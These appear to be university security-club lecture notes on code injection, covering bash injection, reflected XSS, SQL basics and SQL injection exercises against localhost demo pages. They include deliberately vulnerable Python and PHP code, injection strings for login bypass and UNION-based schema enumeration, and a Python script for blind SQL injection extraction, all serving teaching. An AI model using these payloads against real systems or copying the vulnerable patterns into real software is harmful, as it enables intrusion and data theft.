SQL/Code Injection

January 31st, 2019

Today's Goals

- Understand the concept of code injection
- Bash Injection
- SQL Injection
- (More) Advanced SQL Injection techniques

Announcements

- Engineering Expo — Coming up next Friday, the 15th

Reading Material

- The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws
    - Available through the USF library here
    - Chapter 9 "Attacking Data Stores" discusses SQL injection and Chapter 12 "Attacking Users: Cross-Site Scripting" discusses cross-site scripting
- Phrack Magazine: NT Web Technology Vulnerabilities
    - The "ODBC and MS SQL server 6.5" contains an interesting discussion of batch commands in SQL Server. As far as I know, most servers now disallow batch commands unless enabled by the user, but this is still an interesting read.
    - Note the published date! Dec. 25th, 1998! This is one of the first (if not THE first) public discussions of SQL injection
    - Oldest SQL Injection attack with an assigned CVE
- Defining Injection Attacks
    - Technical report by USF researchers defining injection attacks. Not necessary for today's talk, but an interesting read to those willing to read it

Code Injection

- In a code injection attack, an attacker inserts code symbols as input that are then evaluated as code by the application
- Example types:
    - SQL injection
    - PHP injection
    - Bash injection

   - Cross-site scripting (XXS)

Let’s take a look at a simple example in Bash.

Bash Injection

- Let’s take a look at bash injection first, since most people here are likely somewhat familiar with Bash

```
import os

print "Hello! I am your personal logging assistant."

print "Give me a string to log: ",

myLogString = raw_input()

# For debugging purposes:
print "Ok, running:\n echo '%s' >> /tmp/log.txt" % myLogString

# A faster way to write to log than opening it :)
os.system("echo '%s' >> /tmp/log.txt" % myLogString)
```

- Take a look at this simple logging script in python
- It takes a string, and appends it to a log file
- Run the program and enter “hello” and see what the program does
- Now, run '; ls #
- While a trivial example, this shows how we have inserted special characters (the single-quote, semi-colon, and the pound sign characters) to change the command

Interested in bash injection? Take a look at shellshock here. Shellshock works by injecting bash commands at the end of a function string in an environment variable. When bash loads the variable, it also executes the command at the end of the function.

Cross-Site Scripting (XSS)

XSS is another example of code injection. In XSS, a malicious user injects Javascript into the html of a website through the web application’s forms. Let’s take a quick look at XSS before diving into SQL Injection. More advanced XSS will be covered as a future topic.

```
<!DOCTYPE html>
<?php
      if(isset($_GET['name']) && !empty($_GET['name']))
            $name = $_GET["name"];
      else
            $name = "";
?>
<html lang="en">
      <body>
            <?php if($name == ""): ?>
                  <h1> Hello guest! Enter your name </h1>
            <?php else: ?>
                  <h1> Hello <?php echo $name;?>!</h1>
            <?php endif; ?>
            <form action="xss.php" method="GET">
                  <input type="text" name="name"/>
                  <input type="submit"/>
            </form>
            <?php if($name != ""): ?>
                  <h1> This is what was inserted: </h1>
                  <p> Hello <?php echo htmlspecialchars($name);?>!</p>
            <?php endif;?>
      </body>
</html>
```

- Check out the code for xss.php, which will serve as our demo
- This code asks the user for a name, and prints hello
- Let's check out the demo
  - Enter your name
  - Now enter <p>Kevin</p>
  - Now try <marquee>Kevin</marquee>
  - Now try <script>alert("Am I l33t yet?")</script>
  - Now try <script>`document.body.style.backgroundColor = "red";`</script>
- Note the call to htmlspecialchars($name). This should be done whenever user input is being directly echoed to the screen in PHP, as it escapes html characters (<, >, ', ", and &).

SQL Injection

Before we jump straight into SQL injection, first let us review SQL.

Structured Query Language (SQL)

- Much as the name suggests, SQL is a structured language for making queries to a database or datastore.
- Each kind of database (MySQL, SQL Server, PostgreSQL, etc.) uses a structured query language to allow users to query or access the data contained in the database
- SQL is defined by the ISO and ANSI organizations, and each of these database management systems built or implemented their own structured query language based on this standard
    - Thus, each database management system has its own quirks, making our life a little more difficult
    - However, the basics are largely the same!
    - MySQL are SQL Server are two popular options. Check here for some differences between the two. Note the differences between comments mentioned at the very bottom

We will be playing with MySQL today, because it is what I am familiar with. If there is high interest in it, I can do a short segment on how to identify the database, and the differences between them.

SQL Examples

Let's look at a few examples that will help us understand what it is going on:

Users		
ID	**Name**	**Password**
1	admin	admin
2	kevin	correct horse battery staple

Movies		
ID	**Movie**	**Comment**
1	Star Wars Prequels	Great!
2	Deadpool	Also great!

```
SELECT * FROM Users;
```

ID	Name	Password
1	admin	admin
2	kevin	correct horse battery staple

Select allows values to be retrieved from a database. The “from” keyword specifies the table. The * means all attributes/columns.

```
SELECT Password FROM Users WHERE Name = "Kevin";
```

Password
correct horse battery staple

The “Where” keyword allows for specific values to be found. In this case, we retrieve only the password for the user where name=”Kevin”

```
SELECT ID, Movie, Comment FROM Movies WHERE Movie LIKE "%Wars%";
```

ID	Movie	Comment
1	Star Wars Prequels	Great!

The % in this case acts as a wildcard, and allows any character(s) (or no character) to fill that spot. The LIKE keyword enables this pattern matching. The ‘_’ symbol allows you to match exactly one character.

The Union Operator

Let’s look at a slightly more complicated example.

```
SELECT * FROM Users UNION SELECT * FROM Movies
```

ID	Name	Password
1	admin	admin
2	kevin	correct horse battery staple
1	Star Wars Prequels	Great!
2	Deadpool	Also great!

The Union operator combines the results of two or more SELECT statements. Note, however, that the movies are now under the “name” column and the comments are under the password column. In order for a union operator to work, the SELECT statements must be well typed, or have the same number and types of columns.

MYSQL is actually pretty liberal about type casting, but other databases will flat out refuse to run the UNION command with mismatching types. In MYSQL, ints will get silently casted to strings to avoid errors, so we only have to worry about the number of arguments.

Let’s say movies was instead defined as such:

Movies_alt			
ID	**Movie**	**Rating**	**Comment**
1	Star Wars Prequels	10	Great!
2	Deadpool	9	Also great!

```
SELECT * FROM Users UNION SELECT * FROM Movies_alt
```

The above will fail due to the mismatching number of columns. Instead, we need to do something like this:

```
SELECT * FROM Users UNION SELECT ID, Movie, Rating FROM Movies_alt
SELECT *, '' FROM Users UNION SELECT * FROM Movies_alt
```

Note that the above would fail in other database management systems due to the mismatching types!

SQL Injection

Just like in bash, our goal is to insert control characters to trick MySQL into executing our commands.

Lets a take a look at a series of increasingly difficult sql injection challenges.

Easy SQL Injection

1. Load up localhost/demo/sql.php
2. Test out the application
    a. Try logging into Kevin using Correct Horse Battery Staple
3. Enter a single ', and see what happens
    a. Error!
4. What should we do to edit the query?
    a. Kevin' #
5. Lets try ' or User != 'Kevin' #
6. Admin' # would also work

Hidden Table

For this next challenge, the flag is actually in the column of a table we don't know about! We will need to use the union keyword and two special tables:

- Information_schema.tables
    - Contains information about every table in the database
- Information_schema.columns
    - Contains information about columns for every table in the database
- Take a look at the above links and determine which columns would be useful

1. Load up localhost/demo/sql-table.php
2. So now the application is giving us all of the names of the users in the database
3. Let's try to construct a few queries to get the table we need!
4. ' UNION SELECT 1, table_name, 1 FROM information_schema.tables #
5. ' UNION SELECT 1, column_name, 1 FROM information_schema.columns WHERE TABLE_NAME = 'FLAG_IS_HERE' #
6. ' UNION SELECT 1, flag, 1 FROM FLAG_IS_HERE #

Neat Brute Forcing Technique

For this challenge, we are going to figure out the flag when no output is printed to the screen. This is based on a challenge I solved a few years ago. To keep things simple, the flag is in the table Brute and column flag.

1. This new site lets us search for users that exist in a database.
2. We can determine which users exist by entering one character at a time
3. Try it out
4. Lets Union with the new column, and test it out a bit!
5. Check out the python script

Final query string to use (note the collate, which is used to make it case sensitive):

MM' UNION SELECT flag, 1, 1 FROM brute WHERE flag LIKE '%%' COLLATE latin1_general_cs #

```
import requests

url = 'http://localhost/demo/sql-brute.php'
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
!{}1234567890;?"
query = "MM' UNION SELECT flag, 1, 1 FROM brute WHERE flag LIKE '%"
queryEnd = "%' COLLATE latin1_general_cs #"

# Test each character in chars to see if it is in flag. Speeds up execution
ALOT
charsInFlag = [];
for c in chars:
      payload = {'user': query + c + queryEnd}
      r = requests.get(url, params=payload)
      if "Yup" in r.text:
            charsInFlag.append(c)
            print charsInFlag

print "Final Char Set: ", charsInFlag
print "Reduced test space by: %d" % (len(chars) - len(charsInFlag))

found = True
test = ""
flag = ""

# Loop over, testing possible strings until flag is found
while found:
      found = False

      for c in charsInFlag:
            # Test appending char to flag
            test = flag + c
            payload = {'user': query + test + queryEnd}
            r = requests.get(url, params=payload)
            if "Yup" in r.text:
                  flag = flag + c
                  found = True  # Keep going
                  print flag

            # Test prepending char to flag
            test = c + flag
            payload = {'user': query + test + queryEnd}
            r = requests.get(url, params=payload)
            if "Yup" in r.text:
                  flag = c + flag
                  found = True # Keep going
                  print flag
print "Found final flag: %s" % flag
```